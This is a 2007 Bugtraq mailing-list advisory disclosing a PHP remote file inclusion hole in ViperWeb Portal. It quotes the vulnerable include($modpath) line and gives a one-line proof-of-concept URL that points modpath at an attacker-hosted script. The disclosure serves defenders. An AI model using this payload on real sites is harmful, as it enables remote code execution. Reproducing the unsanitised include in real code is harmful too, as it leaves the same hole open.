[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Remote File Inclusion in ViperWeb
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Remote File Inclusion in ViperWeb
- From: asamad@xxxxxxxxxxxx
- Date: 15 Mar 2007 12:07:10 -0000
PHP remote file inclusion vulnerabilities in ViperWeb Portal allow remote
attackers to execute arbitrary PHP code via a URL in the $modpath variable.
http://<Target_Web>/index.php?modpath=<Evil_Script>
Found in: line32.
Code: include($modpath);
Vulnerability found by
Abdus Samad
Advanced Research Project and Technologies.